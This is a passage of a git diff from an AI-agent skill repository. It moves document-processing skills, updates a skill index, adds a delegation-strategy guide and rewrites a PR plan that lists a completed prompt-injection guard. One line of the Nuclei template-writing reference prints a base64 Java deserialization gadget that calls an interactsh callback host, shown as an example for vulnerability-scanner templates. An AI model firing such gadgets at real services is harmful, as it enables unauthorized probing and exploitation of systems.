a single message (parallel launch) +2. Each agent gets one unit of work +3. Results collected when all complete + +## Effort-Level Scaling + +| Effort | Delegation Strategy | +|--------|-------------------| +| Instant/Fast | No delegation — direct tools only | +| Standard | 1-2 foreground agents max for discrete subtasks | +| Extended | 2-4 agents, background agents for research | +| Advanced | 4-8 agents, agent teams for 3+ workstreams | +| Deep | Full team orchestration, parallel workers | +| Comprehensive | Unbounded — teams + parallel + background | + +## Two-Tier Delegation (Lightweight vs Full) + +Not all delegation needs a full agent. Match delegation weight to task complexity: + +### Lightweight Delegation +**For:** One-shot extraction, classification, summarization, simple Q&A against provided content. + +``` +Task(subagent_type="general-purpose", model="haiku", max_turns=3, prompt="...") +``` + +- Use `model="haiku"` for cost/speed efficiency +- Set `max_turns=3` — if it can't finish in 3 turns, it needs full delegation +- Provide all input inline in the prompt (no tool use expected) +- Examples: "Classify this text as X/Y/Z", "Extract the 5 key points from this", "Summarize this in 2 sentences" + +### Full Delegation +**For:** Multi-step reasoning, tasks requiring tool use (file reads, searches, web), tasks that need their own iteration loop. + +``` +Task(subagent_type="general-purpose", prompt="...") # or specialized agent type +``` + +- Default model (sonnet/opus inherited from parent) +- No max_turns restriction — agent iterates until done +- Agent uses tools autonomously (Read, Grep, Bash, etc.) +- Examples: "Research X and produce a report", "Refactor these 5 files", "Debug why test Y fails" + +### Decision Rule +**Ask:** "Can this be answered in one LLM call with no tool use?" → Lightweight. Otherwise → Full. + +| Signal | Tier | +|--------|------| +| Input fits in prompt, output is extraction/classification | Lightweight | +| Needs to read files, search, or browse | Full | +| Needs iteration or self-correction | Full | +| Simple transform of provided content | Lightweight | +| Requires domain expertise + research | Full | + +**Why this matters:** Spawning a full agent for a one-shot extraction wastes ~10-30s of startup overhead and unnecessary context. Lightweight delegation returns in 2-5s. Over an Extended+ Algorithm run with 10+ delegations, this saves minutes. Inspired by RLM's `llm_query()` vs `rlm_query()` two-tier pattern (Zhang/Kraska/Khattab 2025). + +## Anti-Patterns (Don't Do These) + +- Don't delegate what Grep/Glob/Read can do in <2 seconds +- Don't spawn agents for single-file changes +- Don't create teams for fewer than 3 independent workstreams +- Don't send agents work without full context — they start fresh +- Don't use built-in agent names for custom agents +- Don't use full delegation for one-shot extraction/classification — use lightweight tier diff --git a/.opencode/skills/Utilities/Documents/Docx/LICENSE.txt b/.opencode/skills/Utilities/Docx/LICENSE.txt similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/LICENSE.txt rename to .opencode/skills/Utilities/Docx/LICENSE.txt diff --git a/.opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/pack.py b/.opencode/skills/Utilities/Docx/Ooxml/Scripts/pack.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/pack.py rename to .opencode/skills/Utilities/Docx/Ooxml/Scripts/pack.py diff --git a/.opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/unpack.py b/.opencode/skills/Utilities/Docx/Ooxml/Scripts/unpack.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/unpack.py rename to .opencode/skills/Utilities/Docx/Ooxml/Scripts/unpack.py diff --git a/.opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/validate.py b/.opencode/skills/Utilities/Docx/Ooxml/Scripts/validate.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Ooxml/Scripts/validate.py rename to .opencode/skills/Utilities/Docx/Ooxml/Scripts/validate.py diff --git a/.opencode/skills/Utilities/Documents/Docx/SKILL.md b/.opencode/skills/Utilities/Docx/SKILL.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/SKILL.md rename to .opencode/skills/Utilities/Docx/SKILL.md diff --git a/.opencode/skills/Utilities/Documents/Docx/Scripts/__init__.py b/.opencode/skills/Utilities/Docx/Scripts/__init__.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Scripts/__init__.py rename to .opencode/skills/Utilities/Docx/Scripts/__init__.py diff --git a/.opencode/skills/Utilities/Documents/Docx/Scripts/document.py b/.opencode/skills/Utilities/Docx/Scripts/document.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Scripts/document.py rename to .opencode/skills/Utilities/Docx/Scripts/document.py diff --git a/.opencode/skills/Utilities/Documents/Docx/Scripts/utilities.py b/.opencode/skills/Utilities/Docx/Scripts/utilities.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/Scripts/utilities.py rename to .opencode/skills/Utilities/Docx/Scripts/utilities.py diff --git a/.opencode/skills/Utilities/Documents/Docx/docx-js.md b/.opencode/skills/Utilities/Docx/docx-js.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/docx-js.md rename to .opencode/skills/Utilities/Docx/docx-js.md diff --git a/.opencode/skills/Utilities/Documents/Docx/ooxml.md b/.opencode/skills/Utilities/Docx/ooxml.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Docx/ooxml.md rename to .opencode/skills/Utilities/Docx/ooxml.md diff --git a/.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md b/.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md index e769feef..07036acb 100755 --- a/.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md +++ b/.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md @@ -411,7 +411,7 @@ date_time(dateTimeFormat string, optionalUnixTime interface) string Returns the dec_to_hex(number number | string) string Transforms the input number into hexadecimal format dec_to_hex(7001)\" 1b59 ends_with(str string, suffix …string) bool Checks if the string ends with any of the provided substrings ends_with(\"Hello\", \"lo\") true generate_java_gadget(gadget, cmd, encoding interface) string Generates a Java Deserialization Gadget generate_java_gadget(\"dns\", \"{{interactsh-url}}\", \"base64\") rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54 -generate_jwt(json, algorithm, signature, unixMaxAge) []byte Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm generate_jwt(\"{\\"name\\":\\"John Doe\\",\\"foo\\":\\"bar\\"}\", \"HS256\", \"hello-world\") eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U +generate_jwt(json, algorithm, signature, unixMaxAge) []byte Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm generate_jwt("{\\"name\\":\\"John Doe\\",\\"foo\\":\\"bar\\"}", "HS256", "hello-world") [EXAMPLE_JWT_TOKEN] gzip(input string) string Compresses the input using GZip base64(gzip(\"Hello\")) +H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA= gzip_decode(input string) string Decompresses the input using GZip gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\")) Hello hex_decode(input interface) []byte Hex decodes the given input hex_decode(\"6161\") aa diff --git a/.opencode/skills/Utilities/Documents/Pdf/LICENSE.txt b/.opencode/skills/Utilities/Pdf/LICENSE.txt similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/LICENSE.txt rename to .opencode/skills/Utilities/Pdf/LICENSE.txt diff --git a/.opencode/skills/Utilities/Documents/Pdf/SKILL.md b/.opencode/skills/Utilities/Pdf/SKILL.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/SKILL.md rename to .opencode/skills/Utilities/Pdf/SKILL.md diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/check_bounding_boxes.py b/.opencode/skills/Utilities/Pdf/Scripts/check_bounding_boxes.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/check_bounding_boxes.py rename to .opencode/skills/Utilities/Pdf/Scripts/check_bounding_boxes.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/check_bounding_boxes_test.py b/.opencode/skills/Utilities/Pdf/Scripts/check_bounding_boxes_test.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/check_bounding_boxes_test.py rename to .opencode/skills/Utilities/Pdf/Scripts/check_bounding_boxes_test.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/check_fillable_fields.py b/.opencode/skills/Utilities/Pdf/Scripts/check_fillable_fields.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/check_fillable_fields.py rename to .opencode/skills/Utilities/Pdf/Scripts/check_fillable_fields.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/convert_pdf_to_images.py b/.opencode/skills/Utilities/Pdf/Scripts/convert_pdf_to_images.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/convert_pdf_to_images.py rename to .opencode/skills/Utilities/Pdf/Scripts/convert_pdf_to_images.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/create_validation_image.py b/.opencode/skills/Utilities/Pdf/Scripts/create_validation_image.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/create_validation_image.py rename to .opencode/skills/Utilities/Pdf/Scripts/create_validation_image.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/extract_form_field_info.py b/.opencode/skills/Utilities/Pdf/Scripts/extract_form_field_info.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/extract_form_field_info.py rename to .opencode/skills/Utilities/Pdf/Scripts/extract_form_field_info.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/fill_fillable_fields.py b/.opencode/skills/Utilities/Pdf/Scripts/fill_fillable_fields.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/fill_fillable_fields.py rename to .opencode/skills/Utilities/Pdf/Scripts/fill_fillable_fields.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/Scripts/fill_pdf_form_with_annotations.py b/.opencode/skills/Utilities/Pdf/Scripts/fill_pdf_form_with_annotations.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/Scripts/fill_pdf_form_with_annotations.py rename to .opencode/skills/Utilities/Pdf/Scripts/fill_pdf_form_with_annotations.py diff --git a/.opencode/skills/Utilities/Documents/Pdf/forms.md b/.opencode/skills/Utilities/Pdf/forms.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/forms.md rename to .opencode/skills/Utilities/Pdf/forms.md diff --git a/.opencode/skills/Utilities/Documents/Pdf/reference.md b/.opencode/skills/Utilities/Pdf/reference.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pdf/reference.md rename to .opencode/skills/Utilities/Pdf/reference.md diff --git a/.opencode/skills/Utilities/Documents/Pptx/LICENSE.txt b/.opencode/skills/Utilities/Pptx/LICENSE.txt similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/LICENSE.txt rename to .opencode/skills/Utilities/Pptx/LICENSE.txt diff --git a/.opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/pack.py b/.opencode/skills/Utilities/Pptx/Ooxml/Scripts/pack.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/pack.py rename to .opencode/skills/Utilities/Pptx/Ooxml/Scripts/pack.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/unpack.py b/.opencode/skills/Utilities/Pptx/Ooxml/Scripts/unpack.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/unpack.py rename to .opencode/skills/Utilities/Pptx/Ooxml/Scripts/unpack.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/validate.py b/.opencode/skills/Utilities/Pptx/Ooxml/Scripts/validate.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Ooxml/Scripts/validate.py rename to .opencode/skills/Utilities/Pptx/Ooxml/Scripts/validate.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/SKILL.md b/.opencode/skills/Utilities/Pptx/SKILL.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/SKILL.md rename to .opencode/skills/Utilities/Pptx/SKILL.md diff --git a/.opencode/skills/Utilities/Documents/Pptx/Scripts/html2pptx.js b/.opencode/skills/Utilities/Pptx/Scripts/html2pptx.js similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Scripts/html2pptx.js rename to .opencode/skills/Utilities/Pptx/Scripts/html2pptx.js diff --git a/.opencode/skills/Utilities/Documents/Pptx/Scripts/inventory.py b/.opencode/skills/Utilities/Pptx/Scripts/inventory.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Scripts/inventory.py rename to .opencode/skills/Utilities/Pptx/Scripts/inventory.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/Scripts/rearrange.py b/.opencode/skills/Utilities/Pptx/Scripts/rearrange.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Scripts/rearrange.py rename to .opencode/skills/Utilities/Pptx/Scripts/rearrange.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/Scripts/replace.py b/.opencode/skills/Utilities/Pptx/Scripts/replace.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Scripts/replace.py rename to .opencode/skills/Utilities/Pptx/Scripts/replace.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/Scripts/thumbnail.py b/.opencode/skills/Utilities/Pptx/Scripts/thumbnail.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/Scripts/thumbnail.py rename to .opencode/skills/Utilities/Pptx/Scripts/thumbnail.py diff --git a/.opencode/skills/Utilities/Documents/Pptx/html2pptx.md b/.opencode/skills/Utilities/Pptx/html2pptx.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/html2pptx.md rename to .opencode/skills/Utilities/Pptx/html2pptx.md diff --git a/.opencode/skills/Utilities/Documents/Pptx/ooxml.md b/.opencode/skills/Utilities/Pptx/ooxml.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Pptx/ooxml.md rename to .opencode/skills/Utilities/Pptx/ooxml.md diff --git a/.opencode/skills/Utilities/SKILL.md b/.opencode/skills/Utilities/SKILL.md index 6c796391..145d404b 100644 --- a/.opencode/skills/Utilities/SKILL.md +++ b/.opencode/skills/Utilities/SKILL.md @@ -12,10 +12,12 @@ description: Utility and helper skills. USE WHEN aphorisms, quotes, browser auto | Skill | Purpose | Trigger | |-------|---------|---------| | **Aphorisms** | Quote and saying management | "aphorisms", "quotes", "sayings" | +| **AudioEditor** | Audio editing and processing | "audio edit", "process audio", "audio" | | **Browser** | Browser automation and screenshots | "browser", "screenshots", "web automation" | | **Cloudflare** | Cloudflare Workers, Pages, R2, DNS | "Cloudflare", "Workers", "Pages", "R2" | | **CreateCLI** | Build command-line tools | "create CLI", "build CLI", "command line" | | **CreateSkill** | Create new PAI skills | "create skill", "new skill", "build skill" | +| **Delegation** | Task delegation and orchestration | "delegate", "orchestrate", "assign" | | **Documents** | Process documents (PDF, Word, Excel) | "process document", "PDF", "Word", "Excel" | | **Evals** | Evaluation and benchmarking system | "eval", "evaluate", "benchmark", "test" | | **Fabric** | 240+ Fabric patterns for content analysis | "fabric", "extract wisdom", "summarize" | diff --git a/.opencode/skills/Utilities/Documents/Xlsx/LICENSE.txt b/.opencode/skills/Utilities/Xlsx/LICENSE.txt similarity index 100% rename from .opencode/skills/Utilities/Documents/Xlsx/LICENSE.txt rename to .opencode/skills/Utilities/Xlsx/LICENSE.txt diff --git a/.opencode/skills/Utilities/Documents/Xlsx/SKILL.md b/.opencode/skills/Utilities/Xlsx/SKILL.md similarity index 100% rename from .opencode/skills/Utilities/Documents/Xlsx/SKILL.md rename to .opencode/skills/Utilities/Xlsx/SKILL.md diff --git a/.opencode/skills/Utilities/Documents/Xlsx/recalc.py b/.opencode/skills/Utilities/Xlsx/recalc.py similarity index 100% rename from .opencode/skills/Utilities/Documents/Xlsx/recalc.py rename to .opencode/skills/Utilities/Xlsx/recalc.py diff --git a/.opencode/skills/skill-index.json b/.opencode/skills/skill-index.json index 1a9106f8..ba16f078 100644 --- a/.opencode/skills/skill-index.json +++ b/.opencode/skills/skill-index.json @@ -1,11 +1,11 @@ { - "generated": "2026-03-05T23:42:19.981Z", - "totalSkills": 49, - "categories": 7, - "flatSkills": 15, - "hierarchicalSkills": 34, + "generated": "2026-03-08T23:31:35.392Z", + "totalSkills": 54, + "categories": 9, + "flatSkills": 17, + "hierarchicalSkills": 37, "alwaysLoadedCount": 2, - "deferredCount": 47, + "deferredCount": 52, "skills": { "agents": { "name": "Agents", @@ -127,6 +127,34 @@ "tier": "always", "isHierarchical": true }, + "audioeditor": { + "name": "AudioEditor", + "path": "AudioEditor/SKILL.md", + "category": null, + "fullDescription": "AI-powered audio/video editing — transcription, intelligent cut detection, automated editing with crossfades, and optional cloud polish. USE WHEN clean audio, edit audio, remove filler words, clean podcast, remove ums, fix audio, cut dead air, polish audio, clean recording, transcribe and edit.", + "triggers": [ + "clean", + "audio", + "edit", + "remove", + "filler", + "words", + "podcast", + "ums", + "fix", + "cut", + "dead", + "air", + "polish", + "recording", + "transcribe" + ], + "workflows": [ + "Clean" + ], + "tier": "deferred", + "isHierarchical": false + }, "becreative": { "name": "BeCreative", "path": "Thinking/BeCreative/SKILL.md", @@ -287,6 +315,28 @@ "tier": "deferred", "isHierarchical": true }, + "delegation": { + "name": "Delegation", + "path": "Utilities/Delegation/SKILL.md", + "category": "Utilities", + "fullDescription": "Parallelize work via background/foreground agents, built-in types, custom agents, or agent teams/swarms. USE WHEN 3+ independent workstreams, parallel execution, agent specialization, Extended+ effort, agent team, swarm, create an agent team.", + "triggers": [ + "independent", + "workstreams", + "parallel", + "execution", + "agent", + "specialization", + "extended+", + "effort", + "team", + "swarm", + "create" + ], + "workflows": [], + "tier": "deferred", + "isHierarchical": true + }, "documents": { "name": "Documents", "path": "Utilities/Documents/SKILL.md", @@ -308,7 +358,7 @@ }, "docx": { "name": "Docx", - "path": "Utilities/Documents/Docx/SKILL.md", + "path": "Utilities/Docx/SKILL.md", "category": "Utilities", "fullDescription": "Word document processing. USE WHEN docx, Word document. SkillSearch('docx') for docs.", "triggers": [ @@ -509,6 +559,16 @@ "tier": "deferred", "isHierarchical": true }, + "pai": { + "name": "PAI", + "path": "PAI/SKILL.md", + "category": null, + "fullDescription": "Personal AI Infrastructure core. The authoritative reference for how PAI works.", + "triggers": [], + "workflows": [], + "tier": "deferred", + "isHierarchical": false + }, "paiupgrade": { "name": "PAIUpgrade", "path": "Utilities/PAIUpgrade/SKILL.md", @@ -567,7 +627,7 @@ }, "pdf": { "name": "Pdf", - "path": "Utilities/Documents/Pdf/SKILL.md", + "path": "Utilities/Pdf/SKILL.md", "category": "Utilities", "fullDescription": "PDF processing. USE WHEN pdf, PDF file. SkillSearch('pdf') for docs.", "triggers": [ @@ -580,7 +640,7 @@ }, "pptx": { "name": "Pptx", - "path": "Utilities/Documents/Pptx/SKILL.md", + "path": "Utilities/Pptx/SKILL.md", "category": "Utilities", "fullDescription": "PowerPoint processing. USE WHEN pptx, PowerPoint, slides. SkillSearch('pptx') for docs.", "triggers": [ @@ -941,6 +1001,29 @@ "tier": "deferred", "isHierarchical": false }, + "teloscore": { + "name": "TelosCore", + "path": "Telos/Telos/SKILL.md", + "category": "Telos", + "fullDescription": "\"Life OS and project analysis. USE WHEN TELOS, life goals, projects, dependencies, books, movies. SkillSearch('telos') for docs.\"", + "triggers": [ + "telos", + "life", + "goals", + "projects", + "dependencies", + "books", + "movies" + ], + "workflows": [ + "Update", + "InterviewExtraction", + "CreateNarrativePoints", + "WriteReport" + ], + "tier": "deferred", + "isHierarchical": true + }, "thinking": { "name": "Thinking", "path": "Thinking/SKILL.md", @@ -992,6 +1075,27 @@ "tier": "deferred", "isHierarchical": false }, + "usmetricscore": { + "name": "USMetricsCore", + "path": "USMetrics/USMetrics/SKILL.md", + "category": "USMetrics", + "fullDescription": "US economic indicators. USE WHEN GDP, inflation, unemployment, economic metrics, gas prices. SkillSearch('usmetrics') for docs.", + "triggers": [ + "gdp", + "inflation", + "unemployment", + "economic", + "metrics", + "gas", + "prices" + ], + "workflows": [ + "UpdateData", + "GetCurrentState" + ], + "tier": "deferred", + "isHierarchical": true + }, "utilities": { "name": "Utilities", "path": "Utilities/SKILL.md", @@ -1141,7 +1245,7 @@ }, "xlsx": { "name": "Xlsx", - "path": "Utilities/Documents/Xlsx/SKILL.md", + "path": "Utilities/Xlsx/SKILL.md", "category": "Utilities", "fullDescription": "Excel file processing. USE WHEN xlsx, Excel, spreadsheet. SkillSearch('xlsx') for docs.", "triggers": [ @@ -1177,6 +1281,9 @@ "SECUpdates", "WebAssessment" ], + "Telos": [ + "TelosCore" + ], "Thinking": [ "BeCreative", "Council", @@ -1186,12 +1293,16 @@ "Science", "WorldThreatModelHarness" ], + "USMetrics": [ + "USMetricsCore" + ], "Utilities": [ "Aphorisms", "Browser", "Cloudflare", "CreateCLI", "CreateSkill", + "Delegation", "Documents", "Docx", "Evals", diff --git a/docs/epic/OPTIMIZED-PR-PLAN.md b/docs/epic/OPTIMIZED-PR-PLAN.md index b12625d6..d3c6be33 100644 --- a/docs/epic/OPTIMIZED-PR-PLAN.md +++ b/docs/epic/OPTIMIZED-PR-PLAN.md @@ -1,381 +1,216 @@ --- -title: PAI-OpenCode v3.0 - Korrigierter PR-Plan -description: Tatsächlicher Stand nach WP1-WP4 Audit - Tatsächlich 4 PRs bis v3.0 (A, B, C, D) -version: "3.0-corrected" +title: PAI-OpenCode v3.0 - Corrected PR Plan +description: Actual state after WP1-WP4 audit + WP-A/WP-B completion — 2 PRs remaining until v3.0 (C, D) +version: "3.0-corrected-2" status: active authors: [Jeremy] -date: 2026-03-06 +date: 2026-03-08 tags: [architecture, migration, v3.0, PR-strategy, corrected] --- -# PAI-OpenCode v3.0 - Korrigierter PR-Plan +# PAI-OpenCode v3.0 — Corrected PR Plan -**Basierend auf:** Tatsächlicher Repository-Stand nach WP1-WP4 Completion -**Ziel:** Korrekte Darstellung der verbleibenden Arbeit (tatsächlich 4 PRs bis v3.0) +**Based on:** Full repository audit + live v4.0.3 upstream comparison (2026-03-08) +**Goal:** Accurate representation of remaining work (2 PRs remaining until v3.0) --- -## Tatsächlicher Stand (Nach vollständigem Audit 2026-03-06) +## Current Status (After WP-A + WP-B Completion, 2026-03-08) -| WP | Name | PRs | Status | Inhalt | -|----|------|-----|--------|--------| -| **WP1** | Algorithm v3.7.0 + Workdir Docs | #35, #36 | ✅ **Komplett** | Algorithm v3.7.0, OpenCode workdir parameter | -| **WP2** | Context Modernization | #34 | ✅ **Komplett** | Lazy Loading, Hybrid Algorithm loading | -| **WP3** | Category Structure Part A | #37 | ⚠️ **~40% komplett** | Category Structure ja — Hooks/Plugin-Konsolidierung FEHLT | -| **WP4** | Integration & Validation | #38, #39, #40 | ⚠️ **~70% komplett** | Funktional, aber auf unvollständigem WP3 aufgebaut | +| WP | Name | PRs | Status | Content | +|----|------|-----|--------|---------| +| **WP1** | Algorithm v3.7.0 + Workdir Docs | #35, #36 | ✅ **Complete** | Algorithm v3.7.0, OpenCode workdir parameter | +| **WP2** | Context Modernization | #34 | ✅ **Complete** | Lazy Loading, Hybrid Algorithm loading | +| **WP3** | Category Structure Part A | #37 | ✅ **Complete** | Category Structure + Hooks via WP-A | +| **WP4** | Integration & Validation | #38, #39, #40 | ✅ **Complete** | Functional, validated | +| **WP-A** | WP3-Completion: Plugin System & Hooks | #42 | ✅ **Merged** | 5 handlers + bus events + pai-unified.ts | +| **WP-B** | Security Hardening / Prompt Injection | #43 | ✅ **Merged** | injection-guard + sanitizer + patterns | +| **WP-C** | Core PAI System + Skill Fixes | — | 🔄 **Next** | PAI docs, skill structure fixes, BuildOpenCode.ts | +| **WP-D** | Installer & Migration | — | ⏳ **Blocked on C** | PAI-Install, migration script, DB health | -> [!warning] -> ⚠️ **AUDIT-BEFUND 2026-03-06:** WP3 war NICHT vollständig! WP-A (PR #42) schließt die Lücke. Vollständige Analyse: `docs/epic/GAP-ANALYSIS-v3.0.md` - -**Ergebnis:** WP1 + WP2 vollständig. WP3 + WP4 haben signifikante Lücken. +> [!NOTE] +> **2026-03-08 Live Audit:** WP-C scope significantly reduced after comparing repo against v4.0.3. +> Most PAI Tools and many docs were already ported in earlier WPs. +> See `TODO-v3.0.md` PR #C section for the verified remaining task list. --- -## Verbleibende Arbeit: Tatsächlich 4 PRs (nach Audit) - -> [!note] -> **Aktualisiert nach vollständigem Gap-Analyse-Audit** — Details in `docs/epic/GAP-ANALYSIS-v3.0.md` +## Remaining Work: 2 PRs (after WP-A + WP-B) -### 📋 PR #A: WP3-Completion — Plugin-System & Hooks (KRITISCH) -**Branch:** `feature/wp3-completion-plugin-hooks` (NEU) -**Schätzung:** ~10 Files, ~800 Zeilen +### ✅ PR #A: WP3-Completion — Plugin System & Hooks — MERGED (#42) -**Problem:** WP3 hat nur die Category-Struktur geliefert. Das Plugin-System und die Hooks aus PAI v4.0.3 fehlen komplett. +**Branch:** `feature/wp-a-plugin-hooks` → merged into `dev` -**Inhalt:** ```text -NEUE HOOK-HANDLER (fehlende aus v4.0.3 portieren): -├── plugins/handlers/prdsync.ts # PRD-Frontmatter → work.json Sync -├── plugins/handlers/session-cleanup.ts # Session-Ende Cleanup -├── plugins/handlers/session-autoname.ts # Automatische Session-Benennung -├── plugins/handlers/last-response-cache.ts # Response-Caching -├── plugins/handlers/relationship-memory.ts # User-Relationship-Tracking -└── plugins/handlers/question-answered.ts # Q&A-Tracking - -UNGENUTZTE BUS-EVENTS (direkt im event-Handler von pai-unified.ts): -├── session.compacted → Learnings VOR Kontextverlust retten (KRITISCH) -├── session.error → Error-Tracking für Debugging -├── permission.asked → Vollständiges Permission-Audit-Log -├── command.executed → /command Usage-Tracking -├── installation.update.available → Native OpenCode Update-Notification -├── session.updated → Session-Titel-Tracking für Work-Log -└── session.created → info-Objekt (id, title, directory) für präzises Logging - -ARCHITEKTUR (pragmatisch — Option B): -├── pai-unified.ts # Neue Handler einbinden + Bus-Events ergänzen -└── (Handler-Module bleiben, keine Umstrukturierung) - -MITTEL-PRIORITÄT (wenn Zeit): -├── plugins/handlers/doc-integrity.ts -├── plugins/handlers/response-tab-reset.ts -└── plugins/handlers/set-question-tab.ts +DELIVERED: +├── plugins/handlers/prd-sync.ts ✅ +├── plugins/handlers/session-cleanup.ts ✅ +├── plugins/handlers/last-response-cache.ts ✅ +├── plugins/handlers/relationship-memory.ts ✅ +├── plugins/handlers/question-tracking.ts ✅ +├── pai-unified.ts (all handlers integrated) ✅ +└── Bus events: session.compacted, session.error, permission.asked, + command.executed, installation.update.available, + session.updated, session.created (info object) ✅ ``` -**Abhängigkeiten:** WP1, WP2 (bereits erledigt) - --- -### 📋 PR #B: WP3.5 — Security Hardening / Prompt Injection (HOCH) +### ✅ PR #B: WP3.5 — Security Hardening / Prompt Injection — MERGED (#43) -**Branch:** `feature/wp3-5-security-hardening` (NEU) -**Schätzung:** ~5 Files, ~400 Zeilen +**Branch:** `feature/wp-b-security-hardening` → merged into `dev` -**Inhalt:** ```text -├── plugins/handlers/prompt-injection-guard.ts -├── plugins/lib/injection-patterns.ts -├── plugins/lib/sanitizer.ts -└── Dokumentation: security-audit.md +DELIVERED: +├── plugins/handlers/prompt-injection-guard.ts ✅ +├── plugins/lib/injection-patterns.ts ✅ +├── plugins/lib/sanitizer.ts ✅ +└── Integrated into pai-unified.ts ✅ ``` -**Abhängigkeiten:** PR #A (Plugin-System vollständig) - --- -### 📋 PR #C: WP5 — Core PAI System Completion (KRITISCH) - -**Branch:** `feature/wp5-core-pai-system` (NEU) -**Schätzung:** ~25 Files, ~2500 Zeilen - -**Inhalt:** -```text -FEHLENDE PAI-Docs portieren: -├── .opencode/PAI/PAIAGENTSYSTEM.md -├── .opencode/PAI/CLIFIRSTARCHITECTURE.md -├── .opencode/PAI/FLOWS.md + FLOWS/ -├── .opencode/PAI/PIPELINES.md + PIPELINES/ -├── .opencode/PAI/THEFABRICSYSTEM.md -├── .opencode/PAI/THENOTIFICATIONSYSTEM.md -└── .opencode/PAI/DOCUMENTATIONINDEX.md - -FEHLENDE PAI Tools portieren: -├── .opencode/skills/PAI/Tools/algorithm.ts # CLI für Algorithm -├── .opencode/skills/PAI/Tools/RebuildPAI.ts -├── .opencode/skills/PAI/Tools/IntegrityMaintenance.ts -├── .opencode/skills/PAI/Tools/AlgorithmPhaseReport.ts -└── .opencode/skills/PAI/Tools/FailureCapture.ts - -SKILL-STRUKTUR KORREKTUREN: -├── skills/Telos/: DashboardTemplate/, ReportTemplate/, Tools/, Workflows/ hinzufügen -├── skills/USMetrics/: Struktur korrigieren (nested→flach) -├── skills/Utilities/: AudioEditor/, Delegation/ hinzufügen -└── skills/Research/: MigrationNotes.md, Templates/ hinzufügen -``` - -**Abhängigkeiten:** PR #A (Plugin-System vollständig) - ---- +### 📋 PR #C: WP5 — Core PAI System Completion (CRITICAL) -### 📋 PR #D: WP6 — Installer & Migration + DB Health (KRITISCH) +**Branch:** `feature/wp-c-core-pai-system` (new from `dev`) +**Estimate:** ~21 tasks, 